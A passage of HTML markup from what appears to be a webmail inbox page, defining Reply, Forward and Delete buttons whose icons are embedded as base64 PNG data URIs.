J/KpsIeF4vQLXbYLcywVm1OUBc9+tX5XJKHVsGTNZC69eL0dgwDM+OWPA8740kSR4DHlYntgNldbakGvAYsBe4EbgK6EqS5EgrYqEl06vnPKWiEnAQ+B6oKOke0HvxMqAwkrNaBqbv+6ZarVrn3NV6Oa9qxnqAjcAzQRAcd84Rx3HKf225XE4QOoCL9HJ17lqxWBRGbdSGZ38A16SbQmF3czcAAAAASUVORK5CYII=" alt="Reply"></img></button>
                    <button id="sharedTransfButton"><img title="Forward" id="sharedTransfButtonImg" src="data:image/png;base64,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" alt="Transfert"></img></button>
                    <button id="sharedDelButton"><img title="Delete" id="sharedDelButtonImg" src="data:image/png;base64,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" alt="Delete"></img></button>
                </div>-->
            
            </div>

            <div id="inboxButtons">
                    <button id="replyButton"><img title="Reply" id="replyButtonimg" src="data:image/png;base64,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" alt="Reply"></img></button>
                    <button id="transfButton"><img title="Forward" id="transfButtonimg" src="data:image/png;base64,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" alt="Transfert"></img></button>
                    <button id="delButton"><img title="Delete" id="delButtonimg" src="data:image/png;base64,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